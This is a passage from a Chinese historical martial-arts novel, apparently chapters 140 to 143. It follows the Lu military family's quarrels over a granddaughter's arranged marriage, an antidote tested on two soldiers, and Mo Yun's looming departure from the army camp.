“卢依妮，说完你娘，再说到你爹，你们家之人，谁自幼不是任老太君拿捏，谁都是在外累成狗，回去还要被她骂成猪，他居然为了你敢跟他奶奶硬钢，你此刻居然先怂了！当年你求我教你武艺之时的誓言，你忘到哪里去了！”茉云瞪向依妮冷然说道。
依妮的眼中顷刻闪烁出不一样的光芒，回想起那段中州的时光。
“卢依妮，但老太君有句话说得没错，你乃帅门嫡女！”茉云抬目直视依妮的双眼，眼神中透出锐利的光芒，“岂容人如此摆布？”
“我没有忘，我不想嫁人，我此生最大的愿望就是能习得一身武功，可以跟茉云姨一样，能为爹爹鞍前马后，随爹爹征战沙场，不枉此生流着卢家的血！”
“好！”正啸欣慰的望向依妮，透着他一贯的强硬与不屈，仿佛在战场上顶住万军之力般坚定，若依妮愿意，自己不能拦阻，但依妮若不愿，自己决计为她抗争到底。
“依妮，说得好！”元帅深邃的眼眸中顿时微红，如燃烧着烈焰，“娘，我元帅府的使命绝不依靠牺牲子女的幸福来谋求！”
老太君脸色依然严峻，但在这番激烈的据理力争下，她的气势很明显弱了起来。季岚深深吸了口气看向老太君，这可是对老太君权威致命的打击。
谁知道茉云抬手将那镯子随意的扔了过去，顿时众人皆惊慌失措，卢依妮不顾一切的接住了那镯子，抱在了怀里才惊魂未定的松一口气，立刻擦干净双手奉还给老太君，而老太君的脸亦一脸惨白的瞪向茉云。
茉云则毫不在意的淡然笑道：“老太君，您这么在意这个镯子？可若百年之后，老卢帅问你，一个物件你这般稀罕，怎么不稀罕稀罕他的子孙，您如何作答！”
老太君望向茉云，平日里一贯沉稳自持的威严荡然无存，她仿佛整个人顷刻间变得憔悴而脆弱。季岚望向老太君，若之前言语只是将老太君气场打压，那么这句话便是将她击得粉碎。
“那老卢帅当日为何要找您，何不……”
“闭嘴！方茉云，你滚出去！”正啸顷刻瞪向茉云说道，眼神示意她不要说了。
茉云看向正啸瞬间给了他一个白眼，丢开碗筷不屑且忿然走了，可是季岚望向她，分明看见她转身的瞬间畅然的笑了。
若辰望向她拨开帐帘大步离开的背影，亦轻轻嘴角上扬，这秋夜里，斜月横，疏星炯。
141.自在
老太君脸色铁青，原本削瘦的身影在这此刻显得更加孱弱。她起身拄着拐杖愤然离去，手指攥得发白，仿佛在极力压制什么，而拐杖重重敲在地面，发出一声声闷响，仿佛宣告着此刻的孤木难支。
“娘！”元帅旋即起身去扶她，却被老太君用力拂袖甩开了手。
老太君回到营帐瞬间陷入了沉寂，刚才的怒火仿佛在这一刻将老太君压垮。她站在屋中，神情有些恍惚双肩微微颤抖，像是承载着太多的无奈与悲凉，已经无法承受。
她一声长叹，拄着拐杖缓缓坐下，坐在宽大的雕花扶手椅中，一只手紧紧握着一方绢帕，指节微微发白，仿佛在用尽全力压抑内心的痛苦。
另一只手将拐杖她轻轻放在一旁，可拐杖却硬生生掉落在地，她原本紧绷的脸庞再也绷不住，眼泪如同决堤的洪水汹涌而出，顺着她那布满皱纹的脸颊滴落绢帕上，瞬间染湿了半片帕子。
她手颤抖着擦拭泪水，但擦拭不掉悲凉，整个人陷入了悲伤的漩涡中。强硬一生的她，此刻终于展露了脆弱的一面，她喃喃低语：“到头来，竟是如此……”
元帅他们跟入营帐之后，吓得顷刻间都跪在了老太君面前。卢家之人在营帐内内跪了一地，若辰轻轻停在了营帐外。
“娘，您要保重身体！”元帅深吸一口气的安慰说道。
可老太君似乎完全听不见这些，也顾不得自己往日在他们面前的威严，泪水仿佛将压抑了多年的酸楚，一同倾泻而出，如决堤的洪流般止不住地流下。
她那历经沧桑的眼神里，不再有往日的冷静与威严，取而代之的透着万千的委屈和无奈。风轻轻拂过营帘，带来了阵阵凉意，却带不走她心中的痛楚。
此时依妮轻声退出了营帐，狂奔而去，不一会儿死拖活拽的和小腾一起拉来了茉云，季岚有几分诧异，他们居然还将此人寻来。
茉云进入营帐之前，指着营帐们无奈的看向若辰他们，眼里似乎忿然在说，我怎得这般倒霉，碰见他们，若辰和何友本凝重的神情，瞬间轻轻被逗笑了。
“老太君……”茉云推开幕帘进入营帐之时，顷刻间一脸的嬉皮笑脸。
“滚出去！”老太君顿时马上擦拭了眼泪，厉声喝道，声音虽不大，却震得每个人心中一颤。
茉云则毫不畏惧的说道：“吵个架嘛，输赢是常事，我当日见到您将卢依妮管成小媳妇这样，我就想跟您吵了，还不是当日虚弱，您今日睡一觉，养足了精神，明日起来再找我吵嘛！”
“是我将她养成小媳妇这样？那是圣旨！我还不是希望她日后去那刻薄的宁老夫人那儿，能少受点苦！”
茉云依旧风轻云淡的坐下端起茶壶给自己倒着茶说道：“咱有一说一啊，安慰您可以，但是刚说好的事，不能改，圣旨不圣旨的事，您自己去想办法吧，我不管！”
老太君顷刻将手帕愤然朝茉云丢去，怒目圆瞪。
“自己管自己那一摊子事嘛！你终日耳提面命让他们去完成您夫君的夙愿，您也没提出如何剿灭峑戎啊，你只会说你自己看着办，反正要破了峑戎，对吗？那我这跑去了暗营，我也不会写封信给您，老太君啊，他们太黑太狠了，现在咋办啊？”茉云毫不在意的，端着茶自顾自的喝了起来。
执礼他们顿时都忍不住伏低头，若辰和何友在营帐外顷刻被逗笑了。
“不知道给我倒杯茶喝啊！”老太君瞪向茉云没好气的吼道。
茉云瞬间笑嘻嘻的，端了一杯茶递给老太君，老太君愤然接过来自己喝着，长叹一口气，似乎刚才的哭泣的气息还未调整过来。
“但是您这事，我可以给您出个主意，我师承琼华，跟我师父感情老好了，我可以写封信给我师傅，让依妮去琼华习武，你就跟圣上说，是怕峑戎报复保命之策。”
“她不用回京了吗？”
“那我跟您保证，以你孙女的性子，她再习得一身武艺回京，不需要麻烦您了，若是皇上还要赐婚，宁国公老夫人定然泪洒宫廷，连滚带爬的求皇上千万别赐婚。”
依妮顿时抬起头一脸期待的看向了茉云，然后看向了正啸粲然而笑，正啸温和的抬手摸了一下她的头。
“姑娘家家，学什么武？”老太君轻声嘟囔道，言辞中还是诸多不爽，但是显然是被说动了。
“老太君，像您这种单靠气势就能震慑八方的难度太大了，学点武艺傍身，帅门嫡女，怎不好日后出去任人欺负！”
“都跟你一样？”老太君没好气的怼道。
“我怎么了？”
“你很不错！”老太君一副眼中无望的神情看着茉云挖苦道：“贤良淑德，琴棋书画，样样好！”
依妮则被逗笑了，茉云无语的转头望向她没好气的说道：“这会儿知道笑我了，刚怎么跟个鹌鹑似的！”
“哎呀，茉云姨，是他们说，若辰叔叔都可以为了给爹力挽狂澜而大婚，我是爹的女儿……”
正啸深吸一口气皱眉望向依妮，可营帐外的季岚眼中却透过一丝伤感，虽然这是全京城都知道的事，可是自己亲耳听见还是这般难堪。
“别胡说八道！”老太君顷刻瞪向依妮骂道，“小女儿家，你懂什么？你若辰叔婶乃天作之合！”
若辰伸手轻轻握了一下季岚的手，季岚才有几分怯懦的望向若辰，若辰则温和的笑了，笑容如三月春风般温暖，示意她不用在意。
此时又传来了营帐中的茉云的声音：“就是，你别看京城将关若辰传得如何神乎其神，他就是日日里什么云云月月太多了，人跟你爹一般大，你都快谈婚论嫁了，人连个对象都没有，亏得她夫人，这般优秀却喜欢他几十年不离不弃，正所谓呆头鹅碰见了傻孔雀，天作之合！”
顿时众人忍俊不禁，若辰一脸无语的看向身边捧腹大笑的何友。
“可你不一样啊，有其父必有其子，看你两的爹，卢正啸和宁小公爷两站一起，那就像……像每日里沧海跟执礼站一起似的，大雕旁边站个掉毛鸡，他不搭啊！你还愿意嫁，嫁什么嫁！”
“扑哧”众人哄堂大笑，连老太君和元帅都笑得不行。
“都起来吧！跪着干什么！”老太君看向元帅等人无语的说道。
元帅被震北扶着起身，众人亦才跟着起身。
“诶，卢正啸！”茉云放下茶杯没好气的喊道。
正啸亦没有好的表情望向茉云，两人在众人面前就未曾给过对方好脸。
“
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上次说的，立功之后，那套枪法教我！”
“你又不上战场，学什么枪法！”
“刚你们家老太君讽刺我贤良淑德琴棋书画都没有，我学了枪法，我日后便能反驳，我刀枪箭射样样拿手！”茉云抬手指着正啸没好气的说，“你要是又说话不算数试试。”
正啸抬目瞪向茉云，眼神中迸射出怒气，茉云说完便一溜烟就跑了，千山他们都笑得不行。
元帅忽然转身望向正啸叹息着说：“自小打你骂你逼你练武，待你别震北他们严格，你也别怪爹。”
“父帅，你听她胡说。”正啸无语看向卢帅说。
“你看，你不是得亏有这身武艺，你震北哥都被她鞭子抽得跟菠萝似的。”
正啸愣了半刻满脸皆是无语的，元帅叹息着拍拍正啸肩膀，众人都忍俊不禁，跟老太君行礼后，才走出营帐。
“爹，明日你闲暇之时，可否带我去腾腾去骑马！”依妮顿时喜笑颜开的望向正啸说道。
“好！”
“若辰叔叔，你知道吗？我可以去……”依妮想着又放小了音量说道，“我可以去南容习武了！”
若辰温和的笑了看向依妮点点头，季岚却深吸一口气替依妮开心的笑了，到底是帅门的千金，若是其他达官贵族家的千金小姐，别说习武了，恨不得将养在家，连院门都不出那才是高贵，更别说以全家之力为她摆脱一生枷锁！
“海阔凭鱼跃，天高任鸟飞！”依妮想着便如鸟儿一样欢快的蹦跳着走了，“我去告诉腾腾，爹明天带我两去骑马。”
何友亦笑了长长松了口气说道：“太好了，哥，咱两也松了口气，在京里你还说，若皇上下旨赐婚卢依妮入宁国公府，正啸哥回来不雷霆大怒，责我二人无用才怪！”
若辰亦被逗笑了看向正啸，正啸亦抬目望向他两，他定然是知道这段时间，关若辰是如何使劲浑身解数为当日的南境败局力挽狂澜，不然他连去暗营的机会都没有。
正啸沉默片刻，微微低下头声音低沉而有力的说：“谢了。”
若辰抬眼望着他，温润如春风般的笑了，声音带着淡淡的调侃：“你我之间，何须言谢？”
他的声音如夜风般轻柔，语气亦平和如常，仿佛这些年替正啸挡风遮雨的都只是他应当之事。季岚看向若晨，他眼中那份深沉的信任和不言而喻的兄弟之情，如水一般柔软而坚定。
正啸忽然伸手，轻轻拍了拍若辰的肩膀，动作沉稳有力，眼神中带着鲜少表达的肯定与感激。
若辰微微抬头，嘴角泛起异样笑意说：“但是愚友自知能力不济，兄台之事，但凡茉云出马才真是大显神通，药到病除，青云浩荡非难遇，天遣奇才独不易。”
正啸瞬间就没好气的转身了：“天遣奇才？不知我做了何等恶事，要遭受这般天谴，碰到这种奇才。”
众人哄堂大笑，若辰亦笑得肩膀都在颤抖，季岚望向营若辰和正啸并肩同行的背影，帐外篝火的火光映照下，将他们的身影拉得漫长，他们自小并肩的这份情谊，也在时光的流淌中愈发深沉而坚定。
而方茉云有的，便是他们，高门深，殿墙围，半生山河，半生枷锁，于天地间寻的那份自在吧。
142.解药
黄昏时分，天空的晚霞如同艳阳泼洒的红绸，将大地也渲染成了一片金红，微风轻拂，草浪随风起伏，正啸忙完了一日的军务，准备带依妮和小腾去旷野骑马。
此时万莫按照依妮的请求，牵来了茉云的马，她的马儿素来烈得很，除了茉云谁都不让骑。
马儿眼神锐利泛着桀骜的光芒，鼻息间喷出阵阵粗重的气息，万莫用力扯着缰绳，可它拼命挣扎高高扬起前蹄，发出愤怒的嘶鸣，周身散发出不可驯服的野性。
“你牵他出来干什么？沧海都搞不定它！等下把小姐给摔了！”威行立即走上前说道。
“小姐要骑！”
“小姐才多大啊！”威行小声凑到万莫身边说道，“这家伙根本不受控制，上次哪个参将骑它来着，它突然扬蹄而起，纵身一跃，前蹄狠狠地踢向空中，人瞬间被甩落在地，狼狈不堪，幸亏人还是个练家子，你让它今天摔小姐！”
“去赶紧换匹马！”千山亦望向万莫赶紧说道。
“万莫叔叔，我就想要骑茉云姨的马！”
万莫只得死死的揣着那马，眼里都是无奈，而此时正啸牵着马，走了出来，他脱去了战甲，却依然难掩威武之气。
“爹！”依妮瘪瘪嘴巴指向茉云那匹马，它在使劲的挣脱缰绳。
“少主，这马小姐骑太烈了！”
“爹，我就想骑这匹马！”
正啸抬手就扯过了万莫手中的缰绳，用力一拉将马儿整个头拉扯了过来，瞪向它。而马儿忿然转头瞪向正啸时，似乎愣松了半刻。
当它认清是正啸时，所有的狂躁与不羁都在一瞬间消失。原本凌厉的双眼渐渐变得柔和起来。它安静地站在原地，仿佛一阵狂风忽然平息，它居然还低下头用鼻尖轻轻蹭了蹭正啸的手。
正啸调整了马鞍和踏脚，抬手扶着依妮上马，马儿居然一动不动，只有鬃毛在微风中轻轻飘着，显得特别温顺而忠诚。
“奇了！”沧海看着都不禁说道。
“人如其马，马如其主！”若辰亦笑了意味深长评价道。
正啸懒得搭理若辰，飞身上了自己马，然后伸手给小腾，他还太小不能自己骑马。茉云在营帐中听见了马儿的撕叫亦走出了营帐，远远望向马儿驯服的样子，亦是满脸无语的不爽。
正啸带着他们缓步走出军营，踏入辽阔之地，马蹄声渐渐变得轻快起来。
依妮开心的迎风喊道：“爹，黄昏正好，趁这时光，我们快马驰骋一番吧。”
说罢正啸轻拍坐骑，策马而出，马儿嘶鸣一声，随即便踏起风尘，向更辽阔之地奔去。
依妮见正啸先动，不甘示弱的挥鞭驱马去追，畅快的笑声随着黄昏的风飘扬：“爹爹，等我！”
千山和万莫立刻亦策马跟了上去。正啸素来马技卓绝又身姿挺拔，与马匹融为一体，疾驰在草地上，一手握着缰绳，一手守护着身前的小腾。
在这片夕阳铺洒的辽阔平原上，他们的骏马飞奔，马蹄声轻快地踏破寂静，晚风迎面吹来，带着一丝凉意，却又让人觉得无比畅快。
他看见依妮如此灿烂的笑容，顷刻也觉得温暖且舒心，天边的晚霞已渐渐褪去，夜色即将来临，他看向眼前的这片大地，又突然回忆起自己幼时，爷爷带自己驰骋在这片荒野之时。
当时爷爷也是让自己这样坐在他的马前，语气深沉而温和的说：“记住这片天地，有一日，你要肩负起守护它的职责。”
岁月一晃而过，他的承诺他从不敢忘，不论如何沉重……
夜幕降临已深，他们骑马回到了南营，回自己营帐路上就发现诸将皆围在医师营帐，双手抱胸一副饶有兴致的模样。
“将军，那个您如果不去制止一下，有可能白医生的营帐都被她砸了！”执礼笑着望向正啸，立即迎了上来说道。
“谁敢烧白神医的营帐？”依妮望向执礼说道。
“还能有谁？”
正啸只得无可奈何的转身往军医营帐走去，走到门口却发现元帅都仰着头眯着眼看着，若辰他们亦站在其身边，谁都没有制止，皆如台下之人看戏的表情。
帐内点着好几盏摇曳的油灯，微弱的橘黄光芒将阴暗的角落照亮，正啸看向营帐，木制长桌上置于营帐内，上面摆满了草药、陶罐、铜碗和一些制药工具。
白神医站在桌旁，嘴角含笑着，正用铜勺搅拌一个炖煮着药剂的青铜鼎，炉火升腾着淡淡的烟雾，药香与某种微苦的气息在整个营帐中弥漫。他时不时的无语的望向营帐中央，吵得面红耳赤的茉云和不言。
在茉云身旁坐着的两人，脸色发青且异常浮肿，显然是中毒之相。白夫人正在没好气的跟他两诊断脉象，不时也用没好气的眼神望向不言。
“这你说的解药啊！这还需要吃这么多如此贵重之药材？”茉云指着不言忿然骂道，“你过来，我两拳就能让你鼻青脸肿至此！”
不言立马往后退着紧张的说道：“不是说了让小马和太易试药吗？试药试药，就是要试嘛！”
正啸这才意识道，坐在那儿的两人是小马和太易，他顿时双眉微蹙走进了营帐，可是众人似乎未有意识到他走了进来，都被营帐中的争吵吸引了全部的注意力。
“谁说可以用活人试毒的！”白夫人忿然的指着不言说道。
“我没让，他两自愿的！”不言慌张的指着说道。
站在一旁石川拍着桌子就骂道：“不然呢，得亏他两试药了，不然让你把堂堂将军毒成这副智障模样！”
“扑哧”众人顿时都忍俊不禁，笑得最开心的便是和他们最熟悉的雄山和威行。
“诶，他也没有下毒，只是这要的剂量有问题！”白神医亦笑着说道，白夫人数落的望向白神医，他居然不看着点。
“而且茉云还没嫁人呢！万一吃了你的解药这咋办！”老马也气不打一处来的笑着骂道。
不言毫不退让的怼到：“老马你说得对，方茉云，她现在还没能嫁人，就是因为这个原因！”
众人哄堂大笑，茉云顿时抄起捣药的药锤就冲了出去，不言亡了命的跑。
“你下毒就算了，你还敢羞辱我，你站那儿别动！”
正啸无语的伸手拦住了茉云，不言气喘吁吁躲到了白神医的身后。<
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“这家伙，他就是欠揍！”
“方茉云，我又没有收钱！”
“你个卖假药的，我当日没将你下大狱算是便宜你了！”
“你还卖过假药？”白夫人望向不言愤怒的说道。
“我没有！师傅，我绝对没有！”不言慌忙解释道。
“怎么就没有，我让太易买点蒙汗药，结果人一个都没倒！”方茉云也气急败坏的说道，老马吃惊的望向茉云，她似乎都完全忘记自己在哪儿了，拼命使眼色看着茉云。
“当日太易来指着要买的那罐，压根就不是迷药，那就是欢药！”
“我堂堂一个中州司马参军，我买欢药干什么！”
“青岚姑娘都说了，你有可能就是一眼看中了那公子，你本欲花钱买他，结果买不起，那公子威武霸气，身边还有四个高手，你想动手，你又打不赢，你就下药啊！”
“胡说！”
老马拼命的咳嗽，才打断了茉云说话，茉云顷刻没好气的问道：“干嘛啊！”
小马用他肿了的舌头，阴阳怪气的说道：“头，老马……式想……踢醒你……那公子……现在……粘你……旁边！”
茉云顿时晃过神看向正啸俯瞰他的表情，一弹就躲到了白夫人身后，众人顷刻哄堂大笑。
“他要药啸儿？”元帅指着眉开眼笑的问道。
威行立马接过话乐了说道：“对，我随将军去到中州的第一夜，她就往将军酒壶里下药，但是末将今日才知道是什么药！”
“不是，您听他胡说，当日我以为他们跟那巫师是一伙的，本只是想迷晕了他们！”茉云立即向元帅解释道。
“是大将军啊！”不言丝毫不畏惧，反而猥琐的笑了，恍然大悟的说道，“大姐，就大将军这么魁梧的身形，你就多下点本嘛！那点药下了肯定没用啊！你能拿喂鹌鹑的药去喂狮子老虎吗？你有点常识没有？”
“你！”茉云忿然指着太易说道，“太易你就说，我是不是让你去买蒙汗药的！”
太易已经舌头肿胀得说不出话来，他只能无能为力的手舞足蹈。
“哎呦，兄弟啊，当我求你了，小马无所谓啦，你一定要好起来啊！不然我这说不清了！”茉云瞬间满脸殷切的望向太易，欲哭无泪的说，说完一溜烟的落荒而逃，众人捧腹大笑，元帅笑得最开心。
正啸则无可奈何的望向白神医说道：“他两人这毒？”
“没有大碍！”白神医亦是笑得不行的摆着手回复道。
白夫人无语的接过话说:“今日我们三调整一下解药的配比，毒戎的毒能解了，放心吧！”
“有劳！”正啸说完转身望向小马他们轻轻叹了一口气。
“将军……比起……您的遭遇……我们这……不算……什么！”小马亦用他那肿胀的舌头艰难的傻笑着说。
众人更是笑得前俯后仰，正啸无奈的走出了营帐，夜里他闭上眼睛不知为何，当日初入中州之时场景映入眼前，茉云欣然走来嬉笑的望向自己说，公子，人生匆匆，星海横流，何苦愁眉不展，中州是个好地，愿君且喜无拘亦无碍！
143.离开
翌日白神医夫妇就给无言的解毒之药调整了配比，先给小马和太易解了毒，茉云服下了解药亦没有什么问题，他们最后将解药呈给了正啸。
元帅得知毒戎之毒终于有了破解之法，心情大悦，日后军中将士再也不受峑戎毒阵所害，他要大赏军医，白显夫妇皆推脱说首功乃不言之功，元帅大手一挥重赏了不言，不言看见人端进来沉甸甸的金子是赏给自己的，差点没有昏倒在地。
“还不赶快收起来，等会儿头来了！”
不言噌的一下就爬了起来一边喜极而泣的感谢元帅重赏，一边往自己兜里揣着金子，然后连滚带爬的边谢着恩跑了。小马他们看见其狼狈的样子都不禁乐了！
“这孩子，不至于……”元帅无语的看着不言受宠若惊的背影，然后看向白显指着小马他们：“啸儿虽是将军，职务不同罢了，都是一条人命，也不惜得让他们这般为他差点白白送命！”
“元帅说得是！”
“请元帅恕罪，我等祖祖辈辈都是南境之人，昔日铁骑踏破之时，我等祖辈本命如草芥，蒙老卢帅大恩无以为报，而今日之南境，我等既是祖辈们留下的后人，又是南境之土养出的孩子，卢帅和将军是南境万民太平的希望，我们所做这点小事，不算什么！”小马一脸坦诚笑着的说道，其余三个也是跟着一脸憨笑，连忙点头。
“不怪罪，暗营之功本帅还要重重赏你们！”元帅满是风沙镌刻的皱纹笑成一团，眼中亦都是赏识。
“嗯！”老太君坐在一旁，手撑着拐杖看向他们说道“孩子们，虽然莽撞了点，但是一片赤诚！”
他们四人立马恭敬的谢谢老太君谬赞，正啸和若辰他们抬目望去，他们四人立于前，已经完全不是当日的模样，昔日懵懂无知初入府衙三个小伙和一个在府衙混迹时日的老油条，现在都变成了身姿健硕，沉稳果敢且忠贞不二的战士。
“赏你们些什么呢？”
“元帅，我等不敢领赏，若元帅不弃，可否给我等一个机会追随大将军，驻守南境。”
雄山瞧瞧抬手推了威行一把，威行马上上前帮腔说道：“元帅，他们本是昔日将军来中州之时，一手培养之人！”
“你们还想继续追随将军！”卢帅摸着胡须笑了，显然眼神是允准的。
“对，我等自中州追随将军，那便是心驰神往，将军英明神武，气宇轩昂，如浩瀚之明月，如高耸之山峰……”
正啸抬目望向小马，没好气的直接打断了说：“你们还是滚回中州吧！！”
“别别别啊，大人！”他们皆立刻憨笑着跪着移到面前，一看就是和正啸非常相熟，“大人现在中州都几乎是夜不闭户了，我等在中州亦没有用武之地，极为向往威行将军和雄山参将能追随将军，哪怕做个小兵，我等安效犬马！”
“我看他们还行，虽是顽皮了点，但是为人忠贞，筋骨也不错，现在军中正是用人之际，就调他们入军中！”
“还不谢谢元帅！”若辰温和的笑了望向他们说道。
他们马上欣喜若狂的跟元帅磕头谢恩。
元帅笑着大手一挥示意他们起来：“正啸，你看看将他们先放在哪个将军营帐历练！”
正啸看向他们思虑着说道“容我想想，先呆在我营帐吧！”
“是！”他们顿时眉开眼笑的望向正啸，满脸皆是憨傻的笑容，若辰看着亦被逗笑了，到底是茉云带出来的人。
老太君则挑眉望向正啸，方茉云带的人，居然这么受他看重。正啸故意躲开了老太君的眼神，抬手示意他们先下去。
“也好，先放你这儿历练，日后让他们还可去茉云麾下！”元帅喝着茶说道。
“父帅，方茉云不是军中人，亦不会是军中之人！”
元帅丢开茶碗盖望向正啸：“你何意？”
“她压根就不适合入军！”
“她军功卓著，之前不算，就这次都助你破了暗营，灭了国师，还寻回了你爷爷的剑，此等天功，做个将军都够了！”
“只要我还是大将军一日，绝不会让她留在军中！”正啸皱眉的望向大元帅说道。
“为何？”
“因为她从来都是没有规矩，视军令如无物，此乃军中大忌，迟早坏事，实属不可用之人！”
“她坏过你事了？她那次不是帮你！”
正啸深吸一口气双眉微蹙的说：“父帅，此事容后再议吧，您昨日让执礼拿您准备指派到各个关卡的大将名单给我，此事先议如何，特别是裴关之将，儿有些想法……”
老太君旋即起身看向正啸说：“你们议军务吧，明日我就回京城了，晚上陪奶奶吃晚膳！”
“是！”
可是南营营帐之中哪有不透风的墙，威行将军晚膳时便在和雄山参将议论，就是小马他们四个大将军都留在自己营帐，为何不准茉云留在军中，难道只是因为她是女子，议论之时恰逢茉云来伙营用膳，都听入耳中。
一瞬间，纷繁复杂的情绪如狂风席卷而来，最先涌上心头的居然是失落。她从未指望这份不曾明朗的感情有何回应，可她亦未曾想过，他会这般决绝赶自己走，而且他都未曾跟自己说过半分缘由，这更像是一种割舍，一种毫无解释的放逐。
深秋的风卷席着落叶袭来，她终究冷静下来，反正本就准备让一切随风慢慢消失，何必再去揣测他是出于何种理由，也无需在意这股隐隐的心痛在胸口蔓延，她知道渐行渐远也许是自己与他最好的结局。
晚上老太君设宴，她唤了茉云和季岚也来了，可是她坐下之时，发现众人表情都有些凝重。
老太君放下拐杖便故意说道：“怎的这是？给我脸色看啊。”
“启禀老太君，就是元帅和将军有些意见相左，一些军务上的事，您别放心上。”执礼马上说道。
“那我老太婆不懂，也管不着。”老太太坐着说道“但是在我卢家，你老子听我的，你听你老子的，这不会变。”
正啸皱眉没有说话，若辰亦无奈的望向正啸，元帅这把年纪还是他爹，他也是这般直来直去。
“哼。”元帅也没好气的扶正椅子。
“元帅。”震北为难的说道，然后拉了一下正啸，正啸亦没理。
“哥，他们都确实不适合。”
“这就算我不是你老子，我还是元帅，我的调令还要你批不成，这事你找到皇上处理论，那也是空的。”元帅没好气的骂道。
“怎的，我明日就要回京了，今晚陪我吃个晚膳，看你两吵架。”老太君脾气还没发完，转眼看见茉云在一旁开心嗑着瓜子，“看戏呢。”
“啊？”茉云故作满脸懵懂的看向老太君说道。
“你不晓得劝劝。”老太君指着说道
“我都不知道啥事，瞎插嘴不合适！”茉云明显的将自己推脱开，何必再自以为是的插手。
“裴桥等关卡，元帅和将军因为调任谁去守各个关，意见不一罢了，元帅说调老陈将军的儿子陈少去，将军认为资历尚浅，又说调罗虎将军去，将军说罗虎将军刚提拔，不合适短期内再提拔，元帅说，那就震北将军去，将军还是认为不合适。”执礼温和的说，
若辰温和笑了亲自起身为元帅倒酒，执礼居然将军务向茉云一五一十的说了。
“重关守关不比打战，既要机警，又要勇猛，非常人能担此重任。”执礼解释道，“所以元帅和大将军都极为重视！”
“你老子我带了一辈子兵，未必用个将我还不会用了，陈少那小子从小就是个武痴，未来也是个力拔山河的大将，罗虎怎么了，他是我女婿，可是举贤不避亲，震北更是，怎么就许你在军中打着元帅之子的名声，耀武扬威，他也是我儿子，你拦着他建功立业干什么？”元帅显然是被正啸直率的顶撞气得够呛，有些气急败坏的端起酒说。
正啸顿时深深锁紧了眉头，咬紧牙关缄默不言。
奶奶狠狠把茶碗往桌上一放瞪着元帅，元帅也皱眉不敢说话了。茉云却渐渐握紧了握着瓜子的手。
“卢伯伯，正啸绝不是这个意思，他只是觉得陈少虽是英雄年少，但是还是缺少历练。”若辰看向元帅温和的劝说，“就像我蒙圣上器重，年级轻轻做了巡抚，还是需要您和诸位大人的提点才能把差事办明白！”
“若辰，你休要妄自菲薄，也不要帮他说话，这不就是历练吗？那孩子我知道，跟他爹一样武艺高超，比他爹还知变通。再者罗虎如何不能胜任，震北绝对是错错有余。”
茉云丢开瓜子眼神忽然闪过一丝笑意说，“元帅真知灼见，身边大将的儿子，您能不知道吗？”
“你不懂军中……”
“我懂。元帅赶明儿我帮你把您身边另外一个将军十岁的儿子也找回来，帮你去守潼关哈，如果说跟他爹一样，他肯定更知道变通。”茉云满脸坦诚的笑意望向元帅说道，“但是元帅，罗虎也算是我师兄，他孩子还小，你说昔日我师父在家里挂了个和字，您在家里挂个那么大的国泰民安，怎么这会儿举贤不避亲？”
元帅愣了一下看着茉云，她是在数落当日正啸落魄被贬之时，他们谁也没有仗义执言，老太君乐了看向茉云。
“那是他该得被贬！他年轻气盛做了多少不靠谱之事！”元刷显然气势上削弱了，长叹一口气说道，“那也是圣上对他的历练！”
“您说的是，我是绝对支持您的，震北将军比卢正啸靠谱多了，绝对可以担当大任，而且人在那什么关，比在您身边稳当，您要知道您这一年不
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到的时间，到处去看风景都差点挂了两次，折了两员大将，甭说靠不靠谱，都有点流年不利的意思了。可您又如此重要，天佑我朝之军，阵前元帅可要保住啊。”
执礼愣了一下看着茉云，若辰和依妮等人瞬间伏低头拼命忍着笑。老太君亦故作沉稳的忍着笑，低头用勺子轻轻舀汤喝。
“你！”元帅瞪着茉云说。
“元帅，我哪儿都不去，我就守在大营挺好的”震北听到此马上说道
“你这娃，我好歹也是个元帅。”元帅没好气的放下酒杯说。
“我又不是兵部的。”
“我还是卢正啸的爹呢。”
“您又不是我爹。”茉云回敬道。
“丫头，话别说太满，万一不一定呢。”元帅顿时看向茉云说。
众人都带着诧异看了过来，若辰也乐了立即抬目看向了茉云，其中深意谁都能听明白。
“啥意思？”茉云看向元帅也愣了一下说道：“您？认识我娘啊，不可能啊，我娘可爱我爹呢。”
元帅顷刻间瞠目结舌的指着骂道：“这是什么倒霉孩子。”
众人哄堂大笑，老太太亦笑得不行，长桌上摆满了丰盛的酒菜，烛光摇曳，映照着每个人脸上的笑颜，一切瞬间又显得那么其乐融融。
季岚坐在若辰身边未言语，这是京城女眷最起码的修养，自己曾以为自小克己修身，嫁做人妇之后能独当一面执掌夫家，不甘人后。
而她望向坐在对侧的老夫人和茉云，哪怕嬉笑之时依旧身姿挺拔，眼神中透着不寻常的气魄，老夫人当真不愧为京中人人敬仰的卢老太君，而茉云小小年纪却气度更甚，是什么让她能够如此拿捏众人，让老太君和元帅都如此看重。
茉云看见了季岚的目光，但她无暇在意，因为内心的波涛暗涌，她连余光都不敢落在正啸身上，移目之时扫过他都不敢多停留。这种感觉便是他明明坐在面前，却仿佛隔着万山。
正啸则一如往日的威严和沉稳，茉云的相护他心中明了，可他不得不装出一副不经意且不在意的模样，任何一点流露都会引来不必要的猜测和风波。
他自己不能在这个关键时刻让敌人和朝廷内的权臣都将目光对准了她，不能让她的存在成为各方博弈的焦点。家国为重，自己实在也是分身乏术……
老太君难得带有几分慈祥的望向茉云:“我明日就回京了，你呢？如何打算？”
茉云收回了目光，因为她眼中的期许自己无法回应：“老太君一路顺风，我啊，执礼说这两日接我大哥来一见，见完我就撤了！”
元帅有几分惊诧地望着茉云，仿佛已经将茉云视作卢家亲人：“你为何不留在军中效力？”
“不是，元帅你这意思，峑戎四将已经没了三个，最后一个还得我一女子上战场？”茉云故作诧异反问道。
“女子又如何？当年正啸他娘也是披甲上阵的将军，你武艺不比他娘差！”
茉云则想着笑了说道：“可她娘是您娘子，家里婆婆太狠，只得夫唱妇随您上阵杀敌，我没这个必要啊！”
老太君转身就将筷子扔了过去，茉云旋即躲入桌下避开，众人又哄堂大笑。
茉云笑着起身坐下，风轻云淡却坦然的说道：“大战在即，家国未定，我又身有重伤，呆在军中实属不便，也添麻烦！”
“嗯，你寻个周全的地方，把伤养好，也是实在的！”
晚宴之后，众人离席，若辰正好走至茉云身旁，温和的问道：“那你这此去有何想法？继续做县丞？”
“我不想再入公门，我嫂子说，我家里的姨母托媒婆给我说了门亲事，让我去见见，我年纪大了，该成婚了！”
众人皆抬头望向茉云，除了正啸，若辰愣了半刻望向茉云。
“若成了，记得礼金给我包个大红包！”茉云粲然而笑转身走回了自己营帐。
季岚望向茉云离去的背影，小声在若辰耳边说：“她定然是听见了卢将军不允她留在军中的流言，夫君不去帮卢将军解释一番吗？”
若辰则望向空中云与月相皎洁，淡然笑了说：“但去莫复问，白云无尽时。”
